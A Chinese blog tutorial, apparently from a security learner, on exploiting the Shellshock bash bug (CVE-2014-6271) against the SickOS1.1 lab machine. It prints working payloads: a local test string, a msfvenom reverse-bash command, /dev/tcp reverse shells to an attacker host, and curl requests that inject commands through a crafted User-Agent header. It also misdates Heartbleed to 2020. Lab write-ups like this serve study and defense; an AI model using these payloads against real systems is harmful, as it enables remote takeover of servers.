Shellshock (bash之门)远程代码执行漏洞

Shellshock (bash之门)远程代码执行漏洞

声明
B站泷羽sec

笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵‍♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+

  • 关注公众号:泷羽Sec-Blanks
  • 个人:liuyu3366520

一、前言

最近在打靶的时候才了解到这一个漏洞,其针对一些靶机版本比较老的机器特别好用,毕竟是一个Shell的远程代码执行,如果能直接反弹Shell就省去了更多的时间。

  • 漏洞编号:CVE-2014-6271

破壳漏洞(ShellShock)的严重性被定义为 10 级(最高),而2020年 4 月爆发的 OpenSSL(心脏滴血)漏洞才 5 级

二、原理

Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统 受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以**“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”**为结束,而是一直执行其后的shell命令

三、受影响版本

四、验证与利用

(一)本地主机验证方法
env x='() { :;}; echo Shellshock' bash -c "exit"

如果存在输出Shellshock就说明存在漏洞

  • 利用

可以远程命令执行就可以反弹shell

msfvenom -p cmd/unix/reverse_bash lhost=192.168.25.132 lport=4444 -f raw

生成一下反弹shell的命令,lhost是攻击者的机器、lport是攻击者的端口

bash -c ‘0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;/bin/sh <&37 >&37 2>&37’

我们直接用单引号里面的命令就可以了,因为这个漏洞已经是bash环境

env x='() { :;}; 0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;sh <&37 >&37 2>&37' bash -c "exit"
(二)目标主机验证方法

这里以一台靶机为例:SickOS1.1

下载链接:

https://pan.quark.cn/s/4173ca57119e

这里是用nikto扫描到了目标路径暴露出来shellshock漏洞,这里我们直接进行应用

  1. 先验证,如果执行并返回了id命令的结果说明存在漏洞
curl -v http://192.168.25.134/cgi-bin/status -H "User-Agent: () { :; }; echo; /usr/bin/id;exit"

这里成功返回结果。

  1. 接下来进行利用,反弹shell

(1)先开监听

nc -nvlp 4444

(2)远程执行反弹shell

curl -v http://192.168.25.134/cgi-bin/status -H "User-Agent: () { :; }; echo; 0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;/bin/sh <&37 >&37 2>&37;exit"

成功连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值